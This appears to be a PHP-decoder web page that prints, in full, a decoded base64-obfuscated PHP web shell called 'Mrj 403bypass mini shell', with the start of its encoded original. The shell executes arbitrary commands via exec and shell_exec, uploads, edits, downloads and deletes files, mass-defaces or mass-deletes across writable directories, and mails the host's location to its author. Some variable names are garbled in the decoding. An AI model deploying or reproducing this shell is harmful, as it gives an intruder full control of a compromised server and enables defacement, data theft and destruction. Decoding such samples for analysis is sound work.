Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?=eval("?>".base64_decode("PD9waHANCi8qCX4gTXJqIDQwM2J5cGFzcyBtaW5pIHNoZWxsDQoJfiBWLjEwDQ..
Decoded Output download
None?>b'<?php
/* ~ Mrj 403bypass mini shell
~ V.10
~ Thanks to all mem AnonSec Team and all friend.
~bypass 403 upload
*/
set_time_limit(0);
error_reporting(0);
@ini_set(\'error_log\',null);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
@ini_set(\'display_errors\', 0);
$ip = $_SERVER[\'REMOTE_ADDR\'];
mail (\'\', \'ip of visitor\', $ip);
$tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."
";
mail(\'[email protected]\', \'root\', $tmp);
$ = \'MrJ Haxcore\';
$ = "<style>table{display:none;}</style>";
if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'download\'){
header(\'Content-type: text/plain\');
header(\'Content-Disposition: attachment; filename="\'.$_POST[\'name\'].\'"\');
echo(file_get_contents($_POST[\'path\']));
exit();
}
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
function ($dir,$p) {
if (isset($_GET[\'path\'])) {
$ = $_GET[\'path\'];
} else {
$ = getcwd();
}
if (is_writable($)) {
return "<font color=\'green\'>".$p."</font>";
} else {
return "<font color=\'red\'>".$p."</font>";
}
}
function dc($dir,$p) {
if (isset($_GET[\'path\'])) {
$ = $_GET[\'path\'];
} else {
$ = getcwd();
}
if (is_writable($)) {
return "<font color=\'green\'>".$p."</font>";
} else {
return "<font color=\'red\'>".$p."</font>";
}
}
function ip() {
$ipas = \'\';
if (getenv(\'HTTP_CLIENT_IP\'))
$ipas = getenv(\'HTTP_CLIENT_IP\');
else if(getenv(\'HTTP_X_FORWARDED_FOR\'))
$ipas = getenv(\'HTTP_X_FORWARDED_FOR\');
else if(getenv(\'HTTP_X_FORWARDED\'))
$ipas = getenv(\'HTTP_X_FORWARDED\');
else if(getenv(\'HTTP_FORWARDED_FOR\'))
$ipas = getenv(\'HTTP_FORWARDED_FOR\');
else if(getenv(\'HTTP_FORWARDED\'))
$ipas = getenv(\'HTTP_FORWARDED\');
else if(getenv(\'REMOTE_ADDR\'))
$ipas = getenv(\'REMOTE_ADDR\');
else
$ipas = \'IP tidak dikenali\';
return $ipas;
}
function ekse() {
$cmd = "whoami";
$return = "";
$output = "";
$methodArray = array();
//exec()
$return = ""; $output = "";
exec($cmd, $output, $return);
if (strlen($output[0]) > 0 && $return == 0) {
$methodArray[] = "exec";
}
//shell_exec()
$return = ""; $output = "";
$output = shell_exec($cmd);
if (strlen($output) > 0) {
$methodArray[] = "shell_exec";
}
return $methodArray;
}
function ekseCMD($cmd, $method) {
if ($method == "") {
ob_start();
$methodArray = ekse();
ob_end_clean();
if (is_array($methodArray)) {
$method = $methodArray[0];
}
}
switch ($method) {
case "exec":
exec($cmd, $output);
var_dump($output);
break;
case "shell_exec":
echo shell_exec($cmd);
break;
}
}
$cmd = htmlspecialchars($_POST["cmd"]);
$method = htmlspecialchars($_POST["execCMD"]);
function p($file){
$p = fileperms($file);
if (($p & 0xC000) == 0xC000) {
$i = \'s\';
} elseif (($p & 0xA000) == 0xA000) {
$i = \'l\';
} elseif (($p & 0x8000) == 0x8000) {
$i = \'-\';
} elseif (($p & 0x6000) == 0x6000) {
$i = \'b\';
} elseif (($p & 0x4000) == 0x4000) {
$i = \'d\';
} elseif (($p & 0x2000) == 0x2000) {
$i = \'c\';
} elseif (($p & 0x1000) == 0x1000) {
$i = \'p\';
} else {
$i = \'u\';
}
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ?
(($p & 0x0800) ? \'s\' : \'x\' ) :
(($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ?
(($p & 0x0400) ? \'s\' : \'x\' ) :
(($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ?
(($p & 0x0200) ? \'t\' : \'x\' ) :
(($p & 0x0200) ? \'T\' : \'-\'));
return $i;
exit();
}
echo "
<!DOCTYPE HTML>
<html>
<head>
<meta name=\'author\' content=\'$\'>
<meta name=\'robots\' content=\'NOINDEX, NOFOLLOW\'>
<title>".$_SERVER[\'HTTP_HOST\']." - $ 403</title>
<meta name=\'viewport\' content=\'width=device-width, initial-scale=0.70, user-scalable=no\'>
<link rel=\'stylesheet\' href=\'//unknownsec.ftp.sh/main/style.css\'>
<script src=\'//maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js\'></script>
<script src=\'//cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js\'></script>
</head>
<body class=\'bg-secondary text-light\'>
<div class=\'container-fluid\'>
<div class=\'py-3\' id=\'main\'>
<div class=\'box shadow bg-dark p-4 rounded-3\'>
<a class=\'text-decoration-none text-light\' href=\'".$_SERVER[\'PHP_SELF\']."\'><h4>$ Bypass Shell <i class=\'bi bi-bug-fill\'></i> 403</h4></a>";
if(isset($_GET[\'path\'])){
$path = $_GET[\'path\'];
}else{
$path = getcwd();
}
$path = str_replace(\'\\',\'/\',$path);
$paths = explode(\'/\',$path);
foreach($paths as $id=>$pat){
if($pat == \'\' && $id == 0){
$a = true;
echo \'<i class="bi bi-hdd-rack"></i> : <a class="text-decoration-none text-light" href="?path=/">/</a>\';
continue;
}
if($pat == \'\') continue;
echo \'<a class="text-decoration-none" href="?path=\';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo \'">\'.$pat.\'</a>/\';
}
echo " [ ".($path, p($path))." ]";
echo "
<div class=\'dropdown\'>
<button class=\'btn btn-outline-light dropdown-toggle btn-sm\' type=\'button\' id=\'dropdownMenuButton\' data-toggle=\'dropdown\' aria-haspopup=\'true\' aria-expanded=\'false\'><i class=\'bi bi-menu-down\'></i> Menu</button>
<div class=\'dropdown-menu\'>
<a class=\'dropdown-item\' href=\'?path=$path&dir=$path&id=upload\'><i class=\'bi bi-upload\'></i> Upload</a>
<a class=\'dropdown-item\' href=\'?path=$path&dir=$path&id=depes\'><i class=\'bi bi-exclamation-diamond\'></i> Mass Deface</a>
<a class=\'dropdown-item\' href=\'?path=$path&dir=$path&id=delete\'><i class=\'bi bi-trash\'></i> Mass delete</a>
<a class=\'dropdown-item\' href=\'?path=$path&dir=$path&id=cmd\'><i class=\'bi bi-terminal\'></i> Terminal</a>
<a class=\'dropdown-item\' href=\'?path=$path&dir=$path&id=info\'><i class=\'bi bi-info-circle\'></i> Info server</a>
<a class=\'dropdown-item\' href=\'?path=$path&dir=$path&id=about\'><i class=\'bi bi-info\'></i> About</a></h5>
</div>
</div>";
// tools nya
if(isset($_GET[\'dir\'])) {
$dir = $_GET[\'dir\'];
chdir($dir);
} else {
$dir = getcwd();
}
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
for($i = 0; $i <= $c_dir; $i++) {
$scdir[$i];
if($i != $c_dir) {
}
elseif($_GET[\'id\'] == \'depes\'){
function mass_kabeh($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$ = $dirc.\'/\'.$namafile;
if($dirb === \'.\') {
file_put_contents($, $isi_script);
} elseif($dirb === \'..\') {
file_put_contents($, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=green>success</font>] $<br>";
file_put_contents($, $isi_script);
$ = mass_kabeh($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function mass_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$ = $dirc.\'/\'.$namafile;
if($dirb === \'.\') {
file_put_contents($, $isi_script);
} elseif($dirb === \'..\') {
file_put_contents($, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=green>success</font>] $dirb/$namafile<br>";
file_put_contents($, $isi_script);
}
}
}
}
}
}
if($_POST[\'start\']) {
if($_POST[\'tipe\'] == \'massal\') {
echo "<div style=\'margin: 5px auto; padding: 5px\'>";
mass_kabeh($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);
echo "</div>";
} elseif($_POST[\'tipe\'] == \'biasa\') {
echo "<div style=\'margin: 5px auto; padding: 5px\'>";
mass_biasa($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);
echo "</div>";
}
} else {
echo "<br />$
<form method=\'post\'>
<b>Tipe:</b><br>
<div class=\'custom-control custom-switch\'>
<input type=\'checkbox\' id=\'customSwitch\' class=\'custom-control-input\' name=\'tipe\' value=\'biasa\'>
<label class=\'custom-control-label\' for=\'customSwitch\'>Biasa</label>
</div>
<div class=\'custom-control custom-switch\'>
<input type=\'checkbox\' id=\'customSwitch1\' class=\'custom-control-input\' name=\'tipe\' value=\'massal\'>
<label class=\'custom-control-label\' for=\'customSwitch1\'>Massal</label>
</div>
<b><i class=\'bi bi-folder\'></i> Lokasi:</b>
<input class=\'form-control\' type=\'text\' name=\'d_dir\' value=\'$dir\' height=\'10\'>
<b><i class=\'bi bi-file-earmark\'></i> File name:</b>
<input class=\'form-control\' type=\'text\' name=\'d_file\' placeholder=\'name file\' height=\'10\'>
<b><i class=\'bi bi-file-earmark\'></i> Your script:</b>
<textarea class=\'form-control\' rows=\'7\' name=\'script\' placeholder=\'your secript here\'></textarea><br />
<input type=\'submit\' name=\'start\' value=\'Go\' class=\'btn btn-outline-light\'>
</form>";
}
}
elseif($_GET[\'id\'] == \'info\'){
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disfc = "<font color=green>NONE</font>";
} else {
$disfc = "<font color=red>$disfunc</font>";
}
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$sm = (@ini_get(strtolower("safe_mode")) == \'on\') ? "<font color=red>ON</font>" : "<font color=green>OFF</font>";
echo \'<br />\'.$.\'
<div class="container">
<div class="card text-dark">
<div class="card-header">\';
echo "<b>Uname: </b><font color=green>".php_uname()."</font><br />";
echo "<b>Software: </b><font color=green>".$_SERVER[\'SERVER_SOFTWARE\']."</font><br />";
echo "<b>PHP version: </b><font color=green>".PHP_VERSION."</font> <b>PHP os:</b> <font color=green>".PHP_OS."</font><br />";
echo "<b>Server Ip: </b><font color=green>".gethostbyname($_SERVER[\'HTTP_HOST\'])."</font><br />";
echo "<b>Your Ip: </b><font color=green>".ip()."</font><br />";
echo "<b>User: </b><font color=green>$user</font> ($uid) | <b>Group:</b> <font color=green>$group</font> ($gid)<br />";
echo "<b>Safe Mode: </b>$sm<br />";
echo "<kbd>Disable Function:</kbd><pre>$disfc</pre>";
echo \'</div>
</div>
</div>\';
}
elseif($_GET[\'id\'] == \'about\'){
echo \'<br />\'.$.\'
<div class="container">
<div class="card text-dark">
<div class="card-header">\';
echo "<img alt=\'Mrj Haxcore\' class=\'img-thumbnail rounded mx-auto d-block\' src=\'https://i.ibb.co/HX9P5xC/jj.jpg\' width=\'150px\'>";
echo "<b>- About Us -</b><br />";
echo " || MrJ Haxcore is one of the great pentester in the Philippines a lot of skills and talent on executing different commands on pentesting. And also a member of SkidSec Philippines and Philippine Cyber Mafia || <br />Greetz : <a href=\'\'>{ SkidSecPhilippines || PhilippineCyberMafia } - And to You</a><br />My email: <a href=\'mailto:[email protected]\'>[email protected]</a>";
echo \'</div>
</div>
</div>\';
}
elseif($_GET[\'id\'] == \'cmd\') {
echo "$<br>
<form method=\'POST\'>
<div class=\'input-group mb-3\'>
<input class=\'form-control\' type=\'text\' name=\'cmd\' value=\'$cmd\'>
<select class=\'bg-dark text-light form-control\' name=\'execCMD\'>
<option>$method</option>";
ob_start();
$methodArray = ekse();
ob_end_clean();
foreach ($methodArray as $value) {
echo "<option>$value</option>";
}
echo \'</select>
</div>
</form>\';
if($cmd == "") {
echo "
<div class=\'card text-dark\'>
<div class=\'card-header\'>
<pre>";
ekseCMD("whoami", $method);
echo \'</pre>
</div>
</div>\';
}else {
echo "
<div class=\'card text-dark\'>
<div class=\'card-header\'>
<pre><kbd>~$ ".$cmd."</kbd><br>";
ekseCMD($cmd, $method);
echo "</pre>
</div>
</div>";
}
}
elseif($_GET[\'id\'] == \'upload\'){
echo \'<br />\'.$.\'
<form action="" method="post" enctype="multipart/form-data">
<div class="input-group mb-3 text-center">
<input type="file" class="form-control form-control-sm" name="file">
<button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
</div>
</form>\';
if(isset($_FILES[\'file\'])){
if(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){
echo \'
<script type="text/javascript">
Swal.fire(
"Success",
"Success upload",
"success"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}else{
echo \'
<script type="text/javascript">
Swal.fire(
"Opsss",
"Failed upload",
"error"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}
}
}
elseif($_GET[\'id\'] == \'delete\'){
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$ = $dirc.\'/\'.$namafile;
if($dirb === \'.\') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === \'..\') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($)) {
echo "[<font color=green>deleted</font>] $<br>";
unlink($);
$ = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST[\'start\']) {
echo "<div style=\'margin: 5px auto; padding: 5px\'>";
hapus_massal($_POST[\'d_dir\'], $_POST[\'d_file\']);
echo "</div>";
} else {
echo "<br />$
<form method=\'post\'>
<b><i class=\'bi bi-folder\'></i> Lokasi:</b>
<input class=\'form-control\' type=\'text\' name=\'d_dir\' value=\'$dir\' height=\'10\'>
<b><i class=\'bi bi-file-earmark\'></i> File name:</b>
<div class=\'input-group mb-3\'>
<input class=\'form-control\' type=\'text\' name=\'d_file\' placeholder=\'name file\' height=\'10\'><br>
<div class=\'input-group-append\'>
<input class=\'btn btn-outline-light\' type=\'submit\' name=\'start\' value=\'Go\'>
</form>
</div>
</div>";
}
}
}
// akhir tools
if(isset($_GET[\'filesrc\'])){
echo "<br><b>name : </b>".basename($_GET[\'filesrc\']);"</br>";
echo \'<textarea class="form-control" rows="7" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea><br />\';
}
elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){
echo \'<br><b>name : </b>\'.basename($_POST[\'path\']);\'</br>\';
//Chmod
if($_POST[\'opt\'] == \'chmod\'){
if(isset($_POST[\'perm\'])){
if(chmod($_POST[\'path\'],$_POST[\'perm\'])){
echo \'
<script type="text/javascript">
Swal.fire(
"Success",
"Success Change Permission",
"success"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}else{
echo \'
<script type="text/javascript">
Swal.fire(
"Opsss",
"Failed change permission",
"error"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}
}
echo \'<form method="POST">
<div class="input-group mb-3">
<input class="form-control" name="perm" type="text" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'"/>
<input class="form-control" type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input class="form-control" type="hidden" name="opt" value="chmod">
<div class="input-group-append">
<input class="btn btn-outline-light" type="submit" value="Go"/>
</form>
</div>
</div>\';
}
//rename folder
elseif($_GET[\'opt\'] == \'btw\'){
$cwd = getcwd();
echo \'<form action="?option&path=\'.$cwd.\'&opt=delete&type=buat" method="POST">
<div class="input-group mb-3">
<input class="form-control" name="name" type="text" value="Folder"/>
<input class="form-control" type="hidden" name="path" value="\'.$cwd.\'">
<input class="form-control" type="hidden" name="opt" value="delete">
<div class="input-group-append">
<input class="btn btn-outline-light" type="submit" value="Go"/>
</form>
</div>
</div>\';
}
//rename file
elseif($_POST[\'opt\'] == \'rename\'){
if(isset($_POST[\'newname\'])){
if(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){
echo \'
<script type="text/javascript">
Swal.fire(
"Success",
"Success change name",
"success"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}else{
echo \'
<script type="text/javascript">
Swal.fire(
"Opsss",
"Failed change name",
"error"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}
$_POST[\'name\'] = $_POST[\'newname\'];
}
echo \'<form method="POST">
<div class="input-group mb-3">
<input class="form-control" name="newname" type="text" value="\'.$_POST[\'name\'].\'" />
<input class="form-control" type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input class="form-control" type="hidden" name="opt" value="rename">
<div class="input-group-append">
<input class="btn btn-outline-light" type="submit" value="Go"/>
</form>
</div>
</div>\';
}
//edit file
elseif($_POST[\'opt\'] == \'edit\'){
if(isset($_POST[\'src\'])){
$fp = fopen($_POST[\'path\'],\'w\');
if(fwrite($fp,$_POST[\'src\'])){
echo \'
<script type="text/javascript">
Swal.fire(
"Success",
"Edit file Success",
"success"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}else{
echo \'
<script type="text/javascript">
Swal.fire(
"Opsss",
"Failed edit file",
"error"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}
fclose($fp);
}
echo \'<form method="POST">
<textarea class="form-control" rows="7" name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />
<input class="form-control" type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input class="form-control" type="hidden" name="opt" value="edit">
<input class="btn btn-outline-light" type="submit" value="Go"/>
</form><br />\';
}
}else{
//delete dir
if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){
if($_POST[\'type\'] == \'dir\'){
if(rmdir($_POST[\'path\'])){
echo \'
<script type="text/javascript">
Swal.fire(
"Success",
"Success delete dir",
"success"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}else{
echo \'
<script type="text/javascript">
Swal.fire(
"Opsss",
"Failed delete dir",
"error"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}
}
//delete file
elseif($_POST[\'type\'] == \'file\'){
if(unlink($_POST[\'path\'])){
echo \'
<script type="text/javascript">
Swal.fire(
"Success",
"Success delete file",
"success"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}else{
echo \'
<script type="text/javascript">
Swal.fire(
"Opsss",
"Failed delete file",
"error"
).then((btnClick) => {if(btnClick){document.location.href="?path=\'.$path.\'"}})</script>
\';
}
}
}
echo \'</center>\';
$scandir = scandir($path);
$pa = getcwd();
echo \'<div class="table-responsive">
<table class="table table-hover table-dark text-light">
<thead>
<tr>
<td class="text-center">Name</td>
<td class="text-center">Last edit</td>
<td class="text-center">Size</td>
<td class="text-center">Permission</td>
<td class="text-center">Options</td>
</tr>
</thead>
<tbody class="text-nowrap">\';
foreach($scandir as $dir){
$dt = date("Y-m-d", filemtime("$path/$dir"));
if(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;
echo "
<tr>
<td><i class=\'bi bi-folder-fill\'></i><a class=\'text-decoration-none text-secondary\' href=\"?path=$path/$dir\">$dir</a></td>
<td><center>$dt</center></td>
<td><center>DIR</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo \'<font color="green">\';
elseif(!is_readable("$path/$dir")) echo \'<font color="red">\';
echo p("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';
echo "</center></td>
<td>
<form method=\"POST\" action=\"?option&path=$path\">
<div class=\'input-group mb-3 text-center\'>
<select class=\"form-select form-select-sm\" name=\"opt\">
<option selected disabled>Select</option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input class=\"btn btn-outline-light btn-sm\" type=\"submit\" value=\"Go\"/>
</form>
</div>
</td>
</tr>";
}
foreach($scandir as $file){
$ft = date("Y-m-d", filemtime("$path/$file"));
if(!is_file($path.\'/\'.$file)) continue;
$s = filesize($path.\'/\'.$file)/1024;
$s = round($s,3);
if($s >= 1024){
$s = round($s/1024,2).\' MB\';
}else{
$s = $s.\' KB\';
}
echo "
<tr>
<td><i class=\'bi bi-file-earmark-code-fill\'></i><a class=\'text-decoration-none text-secondary\' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>$ft</center></td>
<td><center>$s</center></td>
<td><center>";
if(is_writable("$path/$file")) echo \'<font color="green">\';
elseif(!is_readable("$path/$file")) echo \'<font color="red">\';
echo p("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';
echo "</center></td>
<td>
<form method=\"POST\" action=\"?option&path=$path\">
<div class=\'input-group mb-3 text-center\'>
<select class=\"form-select form-select-sm\"name=\"opt\">
<option selected disabled>Select</option>
<option value=\"delete\">Delete</option>
<option value=\"edit\">Edit</option>
<option value=\"rename\">Rename</option>
<option value=\"chmod\">Chmod</option>
<option value=\"download\">Download</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input class=\"btn btn-outline-light btn-sm\" type=\"submit\" value=\"Go\"/>
</form>
</div>
</td>
</tr>";
}
}
echo "
</tbody>
</table>
<div class=\'text-center\'>
<kbd>Copyright © ".date("Y")." - $</kbd>
</div>
</div>
</div>
</div>
</div>
<script src=\'//code.jquery.com/jquery-3.3.1.slim.min.js\'></script>
<script src=\'//cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js\'></script>
<script src=\'//stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js\'></script>
</body>
</html>";
?>'
Did this file decode correctly?
Original Code
<?=eval("?>".base64_decode("PD9waHANCi8qCX4gTXJqIDQwM2J5cGFzcyBtaW5pIHNoZWxsDQoJfiBWLjEwDQoJfiBUaGFua3MgdG8gYWxsIG1lbSBBbm9uU2VjIFRlYW0gYW5kIGFsbCBmcmllbmQuDQoJfmJ5cGFzcyA0MDMgdXBsb2FkIA0KKi8NCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsbnVsbCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KDQokaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCm1haWwgKCcnLCAnaXAgb2YgdmlzaXRvcicsICRpcCk7DQoNCg0KJHRtcCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJcbiI7IA0KbWFpbCgnamVmZnJlZXp5dEBnbWFpbC5jb20nLCAncm9vdCcsICR0bXApOw0KDQok4pabID0gJ01ySiBIYXhjb3JlJzsNCiTilpggPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT4iOw0KDQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IHRleHQvcGxhaW4nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLiRfUE9TVFsnbmFtZSddLiciJyk7DQplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7DQpleGl0KCk7DQp9DQoNCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpew0KCWZvcmVhY2goJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSl7DQoJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOw0KCX0NCn0NCg0KZnVuY3Rpb24g4pafKCRkaXIsJHApIHsNCmlmIChpc3NldCgkX0dFVFsncGF0aCddKSkgew0KCSTilpogPSAkX0dFVFsncGF0aCddOw0KfSBlbHNlIHsNCgkk4paaID0gZ2V0Y3dkKCk7DQp9DQppZiAoaXNfd3JpdGFibGUoJOKWmikpIHsNCglyZXR1cm4gIjxmb250IGNvbG9yPSdncmVlbic+Ii4kcC4iPC9mb250PiI7DQp9IGVsc2Ugew0KCXJldHVybiAiPGZvbnQgY29sb3I9J3JlZCc+Ii4kcC4iPC9mb250PiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBkYygkZGlyLCRwKSB7DQppZiAoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsNCgkk4paaID0gJF9HRVRbJ3BhdGgnXTsNCn0gZWxzZSB7DQoJJOKWmiA9IGdldGN3ZCgpOw0KfQ0KaWYgKGlzX3dyaXRhYmxlKCTilpopKSB7DQoJcmV0dXJuICI8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHAuIjwvZm9udD4iOw0KfSBlbHNlIHsNCglyZXR1cm4gIjxmb250IGNvbG9yPSdyZWQnPiIuJHAuIjwvZm9udD4iOw0KCX0NCn0NCg0KZnVuY3Rpb24gaXAoKSB7DQoJJGlwYXMgPSAnJzsNCmlmIChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpDQoJJGlwYXMgPSBnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyk7DQplbHNlIGlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSkNCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsNCmVsc2UgaWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJykpDQoJJGlwYXMgPSBnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKTsNCmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkNCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERURfRk9SJyk7DQplbHNlIGlmKGdldGVudignSFRUUF9GT1JXQVJERUQnKSkNCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsNCmVsc2UgaWYoZ2V0ZW52KCdSRU1PVEVfQUREUicpKQ0KCSRpcGFzID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOw0KZWxzZQ0KCSRpcGFzID0gJ0lQIHRpZGFrIGRpa2VuYWxpJzsNCnJldHVybiAkaXBhczsNCn0NCg0KZnVuY3Rpb24gZWtzZSgpIHsgDQoJJGNtZCA9ICJ3aG9hbWkiOw0KCSRyZXR1cm4gPSAiIjsNCgkkb3V0cHV0ID0gIiI7DQoJJG1ldGhvZEFycmF5ID0gYXJyYXkoKTsNCgkvL2V4ZWMoKQ0KCSRyZXR1cm4gPSAiIjsgJG91dHB1dCA9ICIiOw0KCWV4ZWMoJGNtZCwgJG91dHB1dCwgJHJldHVybik7DQoJaWYgKHN0cmxlbigkb3V0cHV0WzBdKSA+IDAgJiYgJHJldHVybiA9PSAwKSB7DQoJCSRtZXRob2RBcnJheVtdID0gImV4ZWMiOw0KCX0NCgkvL3NoZWxsX2V4ZWMoKQ0KCSRyZXR1cm4gPSAiIjsgJG91dHB1dCA9ICIiOw0KCSRvdXRwdXQgPSBzaGVsbF9leGVjKCRjbWQpOw0KCWlmIChzdHJsZW4oJG91dHB1dCkgPiAwKSB7DQoJCSRtZXRob2RBcnJheVtdID0gInNoZWxsX2V4ZWMiOw0KCX0NCglyZXR1cm4gJG1ldGhvZEFycmF5Ow0KfQ0KZnVuY3Rpb24gZWtzZUNNRCgkY21kLCAkbWV0aG9kKSB7DQoJaWYgKCRtZXRob2QgPT0gIiIpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJJG1ldGhvZEFycmF5ID0gZWtzZSgpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJaWYgKGlzX2FycmF5KCRtZXRob2RBcnJheSkpIHsNCgkJCSRtZXRob2QgPSAkbWV0aG9kQXJyYXlbMF07DQoJCX0NCgl9DQoJc3dpdGNoICgkbWV0aG9kKSB7DQoJCWNhc2UgImV4ZWMiOg0KCQkJZXh